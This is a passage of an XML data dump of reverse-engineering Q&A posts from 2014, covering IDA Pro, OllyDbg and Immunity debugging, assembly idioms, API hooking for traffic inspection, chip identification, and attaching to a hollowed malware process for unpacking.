  <row Id="4581" PostTypeId="1" AcceptedAnswerId="4583" CreationDate="2014-06-10T09:36:23.317" Score="2" ViewCount="1790" Body="&lt;p&gt;I can't seem to figure out if I can and how you load multiple idb files with notes into a debugging session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a method or plugin that allows me to load these idb's? What I am doing now is start the program make a memory snapshot and make notes that way. When I start the new debuggin session I rebase the dlls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does really not work well ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note, I currently only have IDA Basic.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-06-10T11:16:17.093" Title="Loading multiple IDB files for debugging session" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4582" PostTypeId="1" CreationDate="2014-06-10T10:40:28.437" Score="1" ViewCount="1862" Body="&lt;p&gt;I am trying to disable a button of a game client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the answer of this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3288/how-can-i-set-a-breakpoint-for-a-button-click?newreg=f94533fe742742c2a47cc3678243be2b&quot;&gt;question&lt;/a&gt; about how to set a breakpoint for a button message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, after clicking the button, it breaks on a specific line but when I set a break point on this line client stop and keep returning to the line if I try to start client again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I find the calls or lines which uses the line that broke with me recently?&lt;/li&gt;&#xA;&lt;li&gt;am I going on the right way to find the button lines and disable it ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5816" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-06-10T12:03:56.740" Title="How to disable a button click using Ollydbg?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4583" PostTypeId="2" ParentId="4581" CreationDate="2014-06-10T11:16:17.093" Score="3" Body="&lt;p&gt;IDA can only work with one IDB at a time. You'll need to either work with all modules in one IDB, or use serveral IDBs/IDA instances and detach/attach to the process as necessary.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-06-10T11:16:17.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4584" PostTypeId="2" ParentId="4582" CreationDate="2014-06-10T12:03:56.740" Score="1" Body="&lt;p&gt;You probably found the correct line - the start of the dialog function that gets called whenever something happens with the dialog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, this function gets called a lot of times; especially, when Windows wants the dialog shown, it sends a WM_PAINT message to the dialog. This calls the dialog function as well, so whenever you tell Ollydbg to continue, and alt-tab to your game client, windows redraws the dialog, which calls your function, which triggers your breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is disassemble and understand the complete function. The function should check the message for WM_COMMAND (0x111), then check the wParam parameter for the ID of your button. Find the assembly lines that are executed in this specific case. Then, you can start changing stuff - for example, if these lines call some function, replace the function calls with NOP to prevent the button from doing what it's supposed to do.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-06-10T12:03:56.740" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4585" PostTypeId="2" ParentId="211" CreationDate="2014-06-10T12:44:58.137" Score="2" Body="&lt;p&gt;Most probably Windows 8 is using &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa385483%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WinINet&lt;/a&gt; to connect with the App Store. If this is the case, you can see the unencrypted streams hooking into the wininet.dll instead of using a proxy. &lt;a href=&quot;https://code.google.com/p/hookme/&quot; rel=&quot;nofollow&quot;&gt;HookME&lt;/a&gt; does this and it was presented last year in BlackHat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably you need to make some minor changes to compile and use it under Windows 8.&lt;/p&gt;&#xA;" OwnerUserId="37" LastActivityDate="2014-06-10T12:44:58.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4586" PostTypeId="2" ParentId="4573" CreationDate="2014-06-10T15:35:27.300" Score="2" Body="&lt;p&gt;I have used the following devices successfully with OpenOCD:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.olimex.com/Products/ARM/JTAG/ARM-USB-OCD/&quot; rel=&quot;nofollow&quot;&gt;https://www.olimex.com/Products/ARM/JTAG/ARM-USB-OCD/&lt;/a&gt; (only ARM)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://amontec.axianet.ch/jtagkey/jtagkey&quot; rel=&quot;nofollow&quot;&gt;http://amontec.axianet.ch/jtagkey/jtagkey&lt;/a&gt; (multi-architecture)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Bus Blaster is compatible with OpenOCD as it was a jtagkey and therefore I think  it will satisfy your needs accordingly. &lt;/p&gt;&#xA;" OwnerUserId="4168" LastActivityDate="2014-06-10T15:35:27.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4587" PostTypeId="1" CreationDate="2014-06-10T17:45:24.510" Score="2" ViewCount="1490" Body="&lt;p&gt;I have the following assembly line(I also added a C code implementation how I would do it in C):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     .................&#xA;A:   MOVSX EAX, BYTE PTR DS:[ECX]     |   while(ecx != NULL){&#xA;     ADD EDX, EAX                     |   &#xA;     INC ECX                          |   char *eaxPtr = *ecx;&#xA;     CMP BYTE PTR DS:[ECX], 0x0       |   int  edxValue += *(int *)eaxPtr;&#xA;     JNZ SHORT A                      |   ecx++;&#xA;     ADD EDX,0xB                      |&#xA;     MOV EAX,EDX                      |   }&#xA;     SUB EAX,0xB                      |   int eaxValue = edxValue;&#xA;     RETN                             |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is that I have stored the string &quot;30;,;1,73,:2&quot; in the register ECX. What the routine above does is to go through the string and add the components of the string like 30 or the ANSCII representation of for example ; and so on in the register EDX. &#xA;As result, I have the value 00000264 in EDX. &#xA;What I do not understand is the end of the assembly line. Especially the lines: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     ADD EDX,0xB                      &#xA;     MOV EAX,EDX                      &#xA;     SUB EAX,0xB &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why we first add 0xB to the register edx, then store it to eax, and then subtract 0xB from eax ?&#xA;The whole is equivalent to the line: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     MOV EAX,EDX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does somebody know why the compiler do it like that ? Because of optimization ? Or there any other reasons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way: Is my C code implementation correct ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-06-11T14:45:51.450" Title="Storing a value by using the ADD and SUB assembly operation. Why?" Tags="|assembly|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4588" PostTypeId="2" ParentId="4587" CreationDate="2014-06-10T18:27:20.973" Score="1" Body="&lt;p&gt;The assembler code you posted is a do-while loop, not a while loop. I guess there's a few instructions in front of it that belong to the function but which you didn't post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, you didn't post the preceding instructions, so we can just assume there was something there. For example, the programmer might have wanted to return -11 as an error code for an empty string, as in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sum=0;&#xA;if (*ecx) {&#xA;    do {&#xA;        sum+=*ecx;&#xA;        ecx++;&#xA;    } while (*ecx != '\0');&#xA;    sum+=11;&#xA;}&#xA;return sum-11;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this is guesswork, because your code doesn't show the if condition.&#xA;How anyone would want to write his sourcecode like this, i don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could think of three reasons for the compiler to produce this code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No optimizations at all, and source code like mine above&lt;/li&gt;&#xA;&lt;li&gt;Intelligent avoidance of a conditional jump (these are evil because the processor instruction pipeline must be cleared if branch prediction fails), although i can't imagine a source code that would use it here.&lt;/li&gt;&#xA;&lt;li&gt;Optimization for space. Replace, in my example above, the &lt;code&gt;sum+=11&lt;/code&gt; with &lt;code&gt;return sum&lt;/code&gt;. This would translate into a &lt;code&gt;MOV EAX, EDX&lt;/code&gt; and &lt;code&gt;RETN&lt;/code&gt;. &lt;code&gt;ADD EDX, 0XB&lt;/code&gt; needs a byte less and accomplishes the same.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Edit: I just tested it: &lt;code&gt;MOV EAX, EDX&lt;/code&gt; and &lt;code&gt;RETN&lt;/code&gt; need 3 bytes, &lt;code&gt;ADD EDX, 0xB&lt;/code&gt; needs 3 bytes as well. So Optimization for space is not an issue here.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-06-10T18:40:43.077" LastActivityDate="2014-06-10T18:40:43.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4590" PostTypeId="1" CreationDate="2014-06-11T13:44:04.770" Score="0" ViewCount="5810" Body="&lt;p&gt;I am thinking of buying IDA Pro for my Linux programming environment after reverse engineering a bit with OllyDBG (under &lt;a href=&quot;http://winehq.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WINE&lt;/a&gt;)... But before I endorse into such a costly purchase I ask the following question(s):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I have native IDA Pro on Linux, can it disassemble/decompile a Windows PE (or Mac OS X apps as a bonus)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If not, when I multi boot Windows, can I download the Windows version of IDA on the Windows without purchasing it again?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Motive&lt;/h1&gt;&#xA;&lt;p&gt;Some renowned programs I'd like to reverse (for fun) are Windows executables, so if it can't disassemble a Windows executable from Linux, I'll have to multi boot (tedious)&lt;/p&gt;&#xA;&lt;h1&gt;Note&lt;/h1&gt;&#xA;&lt;p&gt;If it helps, I have a 32-bit machine with a x86 processor&lt;/p&gt;&#xA;" OwnerDisplayName="user5827" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-06-12T05:07:43.263" Title="Can IDA Pro on Linux disassemble a Windows PE (or Mac OS X app)?" Tags="|ida|windows|tools|x86|linux|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4591" PostTypeId="2" ParentId="4590" CreationDate="2014-06-11T13:48:04.533" Score="3" Body="&lt;p&gt;Yes﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿﻿&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-06-11T13:48:04.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4592" PostTypeId="2" ParentId="4587" CreationDate="2014-06-11T14:45:51.450" Score="1" Body="&lt;p&gt;The other answer is good and relatively complete, but there may be one other reason such code is used, and that is to obfuscate the code for the purpose of helping to prove future patent infringement or copyright violation.  Because it's certainly not a usual way to do this operation, any code which duplicates it verbatim would likely be used in a court of law as evidence of copying.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://link.springer.com/chapter/10.1007%2F11427995_42#page-1&quot; rel=&quot;nofollow&quot;&gt;this article on software watermarking&lt;/a&gt; for a survey of current techniques and motivations for using them.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-06-11T14:45:51.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4593" PostTypeId="2" ParentId="4590" CreationDate="2014-06-11T15:26:26.017" Score="10" Body="&lt;p&gt;Current IDA versions (as of 6.5) are pretty much equivalent for all three platforms. You can disassemble &lt;a href=&quot;https://www.hex-rays.com/products/ida/file_formats.shtml&quot;&gt;all file formats&lt;/a&gt; on all three platforms. You can definitely analyze PE and Mach-O files on Linux. Most debuggers are also &lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/index.shtml&quot;&gt;available on all platforms&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of features are available only in the Windows version:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WinDbg and Symbian debuggers&lt;/li&gt;&#xA;&lt;li&gt;WinCE debugging over ActiveSync&lt;/li&gt;&#xA;&lt;li&gt;PDB symbol parsing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: the last function is available on Linux and OS X if you can run the &lt;code&gt;win32_remote.exe&lt;/code&gt; debugger on a Windows system/emulator.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-06-11T15:26:26.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4594" PostTypeId="2" ParentId="4590" CreationDate="2014-06-11T15:45:37.647" Score="2" Body="&lt;p&gt;I think the reason that the first answer to this question was terse is that the information to answer your question is easily accessible on the Hex-Rays website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;https://www.hex-rays.com/products/ida/order.shtml&quot; rel=&quot;nofollow&quot;&gt;ordering page&lt;/a&gt; on the website. There are .pdf forms that break out the pricing for IDA/IDA Pro. You must purchase the Linux and Windows version separately. As far as I understand, the disassemblers for IDA/IDA Pro are the same across platforms. You can see the differences in included disassemblers per edition &lt;a href=&quot;https://www.hex-rays.com/products/ida/processors.shtml#starter&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. As one of the other answers to this question has pointed out, some of the integrated debuggers are not included on non-Windows versions.&lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2014-06-11T15:45:37.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4595" PostTypeId="2" ParentId="4590" CreationDate="2014-06-12T05:07:43.263" Score="0" Body="&lt;p&gt;One other thing to mention:&#xA;Disassembling .NET applications is only possible in Windows Version. IDA uses some Microsoft dll's for parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another point:&#xA;As IDA is a 32bit application (even the 64bit disassembler) you always have to use remote debuggers for handling 64bit applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA works well for me with Wine under Linux. So I bought the Windows version to have all the features and use it either native under Windows or via Wine(Crossover) under Linux.&lt;/p&gt;&#xA;" OwnerUserId="3353" LastActivityDate="2014-06-12T05:07:43.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4596" PostTypeId="1" CreationDate="2014-06-12T06:50:40.143" Score="8" ViewCount="6679" Body="&lt;p&gt;In native code on windows functions can be hooked by replacing their prologue with a &lt;code&gt;JMP&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do something similar with an application written in java? In the end I want to record all data sent to/from a &lt;code&gt;javax.net.ssl.SSLSocket&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't modify the jar file or the jre on disk, because it will bail if the hashes don't match up, but I can hook any function from native code during runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a working solution right now, but it's very messy and not that flexible. I'm hooking &lt;code&gt;JNI_CreateJavaVM&lt;/code&gt; and inserting &lt;code&gt;-Djavax.net.debug=all&lt;/code&gt; into the arguments passed to it. This causes all data sent over the socket to be written to disk, and then I'm hooking &lt;code&gt;WriteFile&lt;/code&gt; to intercept that data before it gets written to disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found something that looked close to what I want, the &lt;code&gt;-javaagent&lt;/code&gt; parameter, but by the time my agent is loaded all of the java standard library is loaded so I don't see a way to hook it using an agent.&lt;/p&gt;&#xA;" OwnerUserId="266" LastEditorUserId="53" LastEditDate="2014-06-12T10:06:11.140" LastActivityDate="2020-08-14T08:44:59.330" Title="Hooking Java APIs" Tags="|java|function-hooking|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4599" PostTypeId="2" ParentId="4526" CreationDate="2014-06-12T14:18:07.150" Score="1" Body="&lt;p&gt;Googling for the 49758 gives some results: &lt;a href=&quot;http://www.voelkner.de/products/27319/IC-8bit-Ad-Wandler-Tlc-549-Cp.html&quot; rel=&quot;nofollow&quot;&gt;Description&lt;/a&gt;  &lt;a href=&quot;http://files.voelkner.de/150000-174999/171026-da-01-en-IC_8BIT_AD_WANDLER_TLC_549_CP__DIP8__TID.pdf&quot; rel=&quot;nofollow&quot;&gt;Datasheet&lt;/a&gt;&#xA;prefix 3U probably means that its a 3V version of the part&lt;/p&gt;&#xA;" OwnerUserId="5833" LastActivityDate="2014-06-12T14:18:07.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4600" PostTypeId="2" ParentId="4596" CreationDate="2014-06-12T14:43:26.063" Score="6" Body="&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: This question overlaps with &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1714/dynamic-java-instrumentation?rq=1&quot;&gt;Dynamic java instrumentation?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeong Wook Oh did a presentation at Blackhat 2012 were he explained how to trace Java programs by modifying the bytecode to call hook methods, see the &quot;Automation&quot; section of the paper. There is no source or tool available as far as I know. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://media.blackhat.com/bh-us-12/Briefings/Oh/BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_WP.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Paper&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=5JN65JZmHjM&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is also a tool called Javasnoop that is available, I did not test it. It uses the &quot;Attach API&quot; to monitor API calls. This method seems cleaner for what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://media.blackhat.com/bh-us-10/whitepapers/Dabirsiaghi/BlackHat-USA-2010-Dabirsiaghi-JavaSnoop-wp.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Javasnoop Slides&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.aspectsecurity.com/research/appsec_tools/javasnoop/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Javasnoop download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blogs.oracle.com/CoreJavaTechTips/entry/the_attach_api&quot; rel=&quot;nofollow noreferrer&quot;&gt;Attach API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-06-19T17:35:42.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4603" PostTypeId="2" ParentId="4526" CreationDate="2014-06-12T15:36:15.247" Score="14" Body="&lt;p&gt;The markings look like an Atmel part (it starts with &quot;AT&quot;, which is common for Atmel parts). Given the size of the chip and context which you provided, I figured it was probably a serial EEPROM. Looking through Atmel's serial EEPROM datahsheets, your mystery chip is almost certainly an Atmel AT25128B-SSHL SPI EEPROM, which matches your chip's product markings and pinout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the AT25128B &lt;a href=&quot;http://www.atmel.com/Images/doc8698.pdf&quot;&gt;datasheet&lt;/a&gt;, the first line should be ATHXXX, where XXX is a three digit date code. In your case, &quot;ATH330&quot; means it was made in the 30th week of 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second line contains the product's truncated part number (truncated part numbers are used when the entire part number is too long to fit on the package) and country of assembly. The truncated part number for the AT25128B is &quot;5DBL&quot;, which from the picture looks reasonably like what is printed on your chip, and the trailing &quot;8&quot; identifies the country of assembly (I don't know what country &quot;8&quot; corresponds to, but its probably somewhere in Asia :)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last line is the Atmel lot number.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="1408" LastEditDate="2014-06-12T17:22:08.230" LastActivityDate="2014-06-12T17:22:08.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4604" PostTypeId="1" AcceptedAnswerId="4605" CreationDate="2014-06-13T09:05:00.727" Score="4" ViewCount="1656" Body="&lt;p&gt;I just was playing around with Windbg, debugging some application. &#xA;At some point I had to manipulate EIP which was pretty easy in Windbg. But then once I switched back to Immunity, I could not figure out how to do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way you can change the EIP inside Immunity?&lt;/p&gt;&#xA;" OwnerUserId="4690" LastEditorUserId="24714" LastEditDate="2018-07-18T06:06:26.797" LastActivityDate="2018-07-18T06:06:26.797" Title="Manipulate EIP in Immunity Debugger" Tags="|windbg|immunity-debugger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4605" PostTypeId="2" ParentId="4604" CreationDate="2014-06-13T09:37:59.153" Score="6" Body="&lt;p&gt;Right click the code, select 'New Origin here' done&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-06-13T09:37:59.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4606" PostTypeId="2" ParentId="4549" CreationDate="2014-06-13T15:13:31.460" Score="0" Body="&lt;p&gt;I do not know your exact case. But if the binary is just stripped (or sstrip is used) and your function is just a call to an external symbol of a dynamic library, you might want to take a look at this little IDA python script of mine: &lt;a href=&quot;http://h4des.org/blog/index.php?/archives/343-Restoring-external-symbol-calls-in-IDA-when-ELF-sections-are-deleted.html&quot; rel=&quot;nofollow&quot;&gt;http://h4des.org/blog/index.php?/archives/343-Restoring-external-symbol-calls-in-IDA-when-ELF-sections-are-deleted.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script uses an ELF parser library I wrote (called ZwoELF) that tries to only use information that the ELF loader is using to circumvent problems that almost all analysis tools/frameworks I tested have because they rely on optional data like ELF sections.&lt;/p&gt;&#xA;" OwnerUserId="5843" LastActivityDate="2014-06-13T15:13:31.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4607" PostTypeId="1" AcceptedAnswerId="4608" CreationDate="2014-06-13T17:10:27.290" Score="6" ViewCount="3816" Body="&lt;p&gt;When analyzing malware, I come across packers that inject the actual malware code into a newly spawned process and execute it that way. For that, they create a process in suspended state, inject the code and resume it using &lt;code&gt;ntdll.NtResumeThread&lt;/code&gt; on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to attach to the suspended process after the injection is done, to dump the memory and get the unpacked binary. For that, I break at &lt;code&gt;ntdll.NtResumeThread&lt;/code&gt;. Using Olly 2, I can attach to the suspended process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is now that this seems to resume the process. That would be okay if it would break at the entry point. But it doesn't. Olly does not break until the process I attached to has terminated. Yes, I can dump the memory then. But only if it was not modified by the malware. Also, I don't want the malware code to run at all during unpacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a way to make Olly break (reliably) at the entry point of the new process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5845" LastActivityDate="2014-06-13T17:23:01.330" Title="Ollydbg 2: Breaking after attaching to a suspended process" Tags="|ollydbg|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4608" PostTypeId="2" ParentId="4607" CreationDate="2014-06-13T17:23:01.330" Score="6" Body="&lt;p&gt;FYI, the injection method to which you're referring is called &lt;strong&gt;dynamic forking&lt;/strong&gt; or &lt;strong&gt;process hollowing&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you attach to the child process with OllyDbg, OllyDbg will create a new thread for itself, but the main thread (the one that would have been resumed with &lt;code&gt;NtResumeThread()&lt;/code&gt; from the parent) will still be suspended. Once you've attached with OllyDbg, you can set a breakpoint on the OEP and resume the suspended thread; this will cause OllyDbg to then break at the OEP.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-06-13T17:23:01.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4609" PostTypeId="1" AcceptedAnswerId="4611" CreationDate="2014-06-13T19:03:42.253" Score="16" ViewCount="8728" Body="&lt;p&gt;I have read the assembly line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OR EAX, 0xFFFFFFFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the register &lt;code&gt;EAX&lt;/code&gt; the program has stored a string. I have problems to understand how we can make a comparison with a string and a value like that.&#xA;After performing that instruction, &lt;code&gt;EAX&lt;/code&gt; has the value &lt;code&gt;0xFFFFFFFF&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me which purpose that operation has ? Is it a line which comes frequently in an assembly code ? (for example the line &lt;code&gt;XOR EAX, EAX&lt;/code&gt; which is an efficient way to make &lt;code&gt;EAX = 0&lt;/code&gt; ? Is it something like that ?)&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2014-06-17T07:21:35.450" LastActivityDate="2017-04-28T06:31:01.283" Title="Purpose of OR EAX,0xFFFFFFFF" Tags="|assembly|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4610" PostTypeId="2" ParentId="4609" CreationDate="2014-06-13T19:08:55.947" Score="5" Body="&lt;p&gt;This will always result in setting the &lt;code&gt;EAX&lt;/code&gt; register equal to 0xFFFFFFFF and will also have the side effect of setting the flags appropriately (that is N=1, Z=0, etc.).  It is not a common idiom.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-06-13T19:08:55.947" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4611" PostTypeId="2" ParentId="4609" CreationDate="2014-06-13T19:36:10.857" Score="23" Body="&lt;p&gt;I think that in order to understand why the compiler does this, study the following disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B8 FF FF FF FF                          mov     eax, 0FFFFFFFFh&#xA;83 C8 FF                                or      eax, 0FFFFFFFFh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the compiler is trying to accomplish is probably to set the &lt;code&gt;eax&lt;/code&gt; register to -1 using as few bytes as possible in order to be cache friendly. &lt;code&gt;OR&lt;/code&gt; also has about twice the throughput of the &lt;code&gt;MOV&lt;/code&gt; instruction as long as you don't mind messing up the flags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably a variable being initialized to -1.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-06-13T19:57:32.257" LastActivityDate="2014-06-13T19:57:32.257" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4613" PostTypeId="1" CreationDate="2014-06-15T05:07:29.563" Score="1" ViewCount="991" Body="&lt;p&gt;I have added support for type info handling in my IDA processor, and now in the &lt;code&gt;use_regarg_type3&lt;/code&gt; event, I am mapping a parameter that I know is an &lt;code&gt;enum&lt;/code&gt;. But, I am unsure how to set an &lt;code&gt;imm&lt;/code&gt; operand to be &lt;code&gt;enum&lt;/code&gt;, as you would if you pressed m key and selected the type manually.&lt;/p&gt;&#xA;&lt;p&gt;So, my question is what function do I call to set the op to be an &lt;code&gt;enum&lt;/code&gt;, and how do I get any needed arguments for said function from the &lt;code&gt;tinfo_t&lt;/code&gt; I have.&lt;/p&gt;&#xA;&lt;h3&gt;Edit 1&lt;/h3&gt;&#xA;&lt;p&gt;There is an &lt;code&gt;op_enum&lt;/code&gt; function, but it wants &lt;code&gt;enum_t&lt;/code&gt; and from the &lt;code&gt;tinfo_t&lt;/code&gt; via &lt;code&gt;type.get_enum_base_type()&lt;/code&gt; I get &lt;code&gt;type_t&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Edit 2&lt;/h3&gt;&#xA;&lt;p&gt;I have it working using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;qstring tname;&#xA;type.get_type_name(&amp;amp;tname);&#xA;enum_t enumt = get_enum(tname.c_str());&#xA;op_enum(cmd.ea, x.n, enumt, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But, it feels wrong to have to go via a string, and a little fragile. So, now the questions is: is there a better/safer way to achieve this ?&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-08-23T09:12:15.943" Title="How to map enum types to imm values in IDA" Tags="|ida|idapro-sdk|" AnswerCount="0" CommentCount="1" 